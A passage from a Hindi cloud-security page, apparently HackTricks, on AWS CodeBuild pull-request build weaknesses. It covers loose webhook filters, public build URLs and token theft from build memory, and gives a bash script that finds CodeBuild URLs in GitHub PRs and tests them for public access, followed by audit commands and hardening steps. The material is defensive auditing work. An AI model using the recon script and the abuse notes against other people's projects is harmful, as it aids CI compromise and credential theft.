- बेहतर: exact `ACTOR_ACCOUNT_ID` + `BASE_REF` + `HEAD_REF` + `FILE_PATH` restrictions को combine करें।
|
||||
- Abuse: attacker build inputs (buildspec/CI/dependencies) modify करता है और arbitrary command execution पाता है।
|
||||
|
||||
8. **Public visibility + status URL exposure**
|
||||
- Public build/check URLs attacker recon और iterative testing को आसान बनाते हैं।
|
||||
- खराब: `projectVisibility=PUBLIC_READ` के साथ sensitive logs/config public builds में।
|
||||
- बेहतर: जब तक ज़रूरी न हो projects को private रखें, और logs/artifacts sanitize करें।
|
||||
- Abuse: attacker project patterns/behavior discover करके payloads और bypass attempts को tune कर सकता है।
|
||||
|
||||
## Token leakage from memory
|
||||
|
||||
Wiz के write-up में बताया गया है कि source-provider credentials build runtime context में मौजूद होते हैं और build compromise के बाद (उदा., memory dumping के जरिए) चुराए जा सकते हैं, जिससे repository takeover संभव हो सकता है अगर scopes broad हों।
|
||||
|
||||
AWS ने disclosure के बाद hardening किया, पर मूल सबक वही है: **कभी भी privileged build contexts में untrusted PR code execute न करें** और मानकर चलें कि attacker-controlled build code credentials theft का प्रयास करेगा।
|
||||
|
||||
CodeBuild में additional credential theft techniques के लिए, यह भी देखें:
|
||||
|
||||
{{#ref}}
|
||||
aws-codebuild-token-leakage.md
|
||||
{{#endref}}
|
||||
|
||||
## Finding CodeBuild URLs in GitHub PRs
|
||||
|
||||
यदि CodeBuild commit status GitHub पर report करता है, तो CodeBuild build URL आम तौर पर दिखता है:
|
||||
|
||||
1. **PR page** -> **Checks** tab (या Conversation/Commits में status line)।
|
||||
2. **Commit page** -> status/checks section -> **Details** link।
|
||||
3. **PR commits list** -> commit से जुड़ा check context क्लिक करें।
|
||||
|
||||
Public projects के लिए, यह link unauthenticated users को build metadata/configuration दिखा सकता है।
|
||||
|
||||
<details>
|
||||
<summary>Script: detect CodeBuild URLs in a PR and test if they look public</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Usage:
|
||||
# ./check_pr_codebuild_urls.sh <owner> <repo> <pr_number>
|
||||
#
|
||||
# Requirements: gh, jq, curl
|
||||
|
||||
OWNER="${1:?owner}"
|
||||
REPO="${2:?repo}"
|
||||
PR="${3:?pr_number}"
|
||||
|
||||
for bin in gh jq curl timeout; do
|
||||
command -v "$bin" >/dev/null || { echo "[!] Missing dependency: $bin" >&2; exit 1; }
|
||||
done
|
||||
|
||||
tmp_commits="$(mktemp)"
|
||||
tmp_urls="$(mktemp)"
|
||||
trap 'rm -f "$tmp_commits" "$tmp_urls"' EXIT
|
||||
|
||||
gh_api() {
|
||||
timeout 20s gh api "$@" 2>/dev/null || true
|
||||
}
|
||||
|
||||
# Get all commit SHAs in the PR (bounded call to avoid hangs)
|
||||
gh_api "repos/${OWNER}/${REPO}/pulls/${PR}/commits" --paginate --jq '.[].sha' > "$tmp_commits"
|
||||
if [ ! -s "$tmp_commits" ]; then
|
||||
echo "[!] No commits found (or API call timed out/failed)." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[*] PR commits:"
|
||||
cat "$tmp_commits"
|
||||
echo
|
||||
|
||||
echo "[*] Searching commit statuses/check-runs for CodeBuild URLs..."
|
||||
|
||||
while IFS= read -r sha; do
|
||||
[ -z "$sha" ] && continue
|
||||
|
||||
# Classic commit statuses (target_url)
|
||||
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/status" \
|
||||
--jq '.statuses[]? | .target_url // empty' 2>/dev/null || true
|
||||
|
||||
# GitHub Checks API (details_url)
|
||||
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/check-runs" \
|
||||
--jq '.check_runs[]? | .details_url // empty' 2>/dev/null || true
|
||||
done < "$tmp_commits" | sort -u > "$tmp_urls"
|
||||
|
||||
grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true
|
||||
|
||||
echo
|
||||
echo "[*] Public-access heuristic:"
|
||||
echo " - If URL redirects to signin.aws.amazon.com -> likely not public"
|
||||
echo " - If URL is directly reachable (HTTP 200) without auth redirect -> potentially public"
|
||||
echo
|
||||
|
||||
cb_urls="$(grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true)"
|
||||
if [ -z "$cb_urls" ]; then
|
||||
echo "[*] No CodeBuild URLs found in PR statuses/check-runs."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
while IFS= read -r url; do
|
||||
[ -z "$url" ] && continue
|
||||
final_url="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{url_effective}' "$url" || true)"
|
||||
code="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{http_code}' "$url" || true)"
|
||||
|
||||
if echo "$final_url" | grep -qi 'signin\.aws\.amazon\.com'; then
|
||||
verdict="NOT_PUBLIC_OR_AUTH_REQUIRED"
|
||||
elif [ "$code" = "200" ]; then
|
||||
verdict="POTENTIALLY_PUBLIC"
|
||||
else
|
||||
verdict="UNKNOWN_CHECK_MANUALLY"
|
||||
fi
|
||||
|
||||
printf '%s\t%s\t%s\n' "$verdict" "$code" "$url"
|
||||
done <<< "$cb_urls"
|
||||
```
|
||||
इनके साथ परीक्षण किया गया:
|
||||
```bash
|
||||
bash /tmp/check_pr_codebuild_urls.sh carlospolop codebuild-codebreach-ctf-lab 1
|
||||
```
|
||||
</details>
|
||||
|
||||
## त्वरित ऑडिट चेकलिस्ट
|
||||
```bash
|
||||
# Enumerate projects
|
||||
aws codebuild list-projects
|
||||
|
||||
# Inspect source/webhook configuration
|
||||
aws codebuild batch-get-projects --names <project-name>
|
||||
|
||||
# Inspect global source credentials configured in account
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
प्रत्येक प्रोजेक्ट की समीक्षा करें:
|
||||
|
||||
- `webhook.filterGroups` में PR इवेंट शामिल हैं।
|
||||
- `ACTOR_ACCOUNT_ID` पैटर्न जो ^...$ से एंकर किए नहीं गए हैं।
|
||||
- `pullRequestBuildPolicy.requiresCommentApproval` `DISABLED` के बराबर है।
|
||||
- ब्रांच/पाथ प्रतिबंध अनुपस्थित हैं।
|
||||
- उच्च-विशेषाधिकार `serviceRole`।
|
||||
- स्रोत क्रेडेंशियल्स के दायरे और पुन: उपयोग से जोखिम।
|
||||
|
||||
## हार्डनिंग दिशानिर्देश
|
||||
|
||||
1. PR बिल्ड्स के लिए टिप्पणी अनुमोदन आवश्यक करें (`ALL_PULL_REQUESTS` या `FORK_PULL_REQUESTS`)।
|
||||
2. यदि actor allowlists का उपयोग कर रहे हैं, तो regexes को एंकर करें और उन्हें सटीक रखें।
|
||||
3. अनट्रस्टेड संपादनों से बचने के लिए `buildspec.yml` और CI स्क्रिप्ट्स में बदलाव रोकने हेतु `FILE_PATH` प्रतिबंध जोड़ें।
|
||||
4. भरोसेमंद रिलीज बिल्ड्स को अनट्रस्टेड PR बिल्ड्स से अलग करें और उन्हें अलग projects/roles में रखें।
|
||||
5. सूक्ष्म-स्तरीय, न्यूनतम-विशेषाधिकार source-provider tokens का उपयोग करें (समर्पित कम-विशेषाधिकार identities को प्राथमिकता दें)।
|
||||
6. webhook filters और source credential उपयोग का लगातार ऑडिट करें।
|
||||
|
||||
## References
|
||||
|
||||
- [Wiz: CodeBreach - AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
- [AWS CodeBuild API - WebhookFilter](https://docs.aws.amazon.com/codebuild/latest/APIReference/API_WebhookFilter.html)
|
||||
- [AWS CLI - codebuild create-webhook](https://docs.aws.amazon.com/cli/latest/reference/codebuild/create-webhook.html)
|
||||
- [AWS CodeBuild User Guide - Best practices for webhooks](https://docs.aws.amazon.com/codebuild/latest/userguide/webhooks.html)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user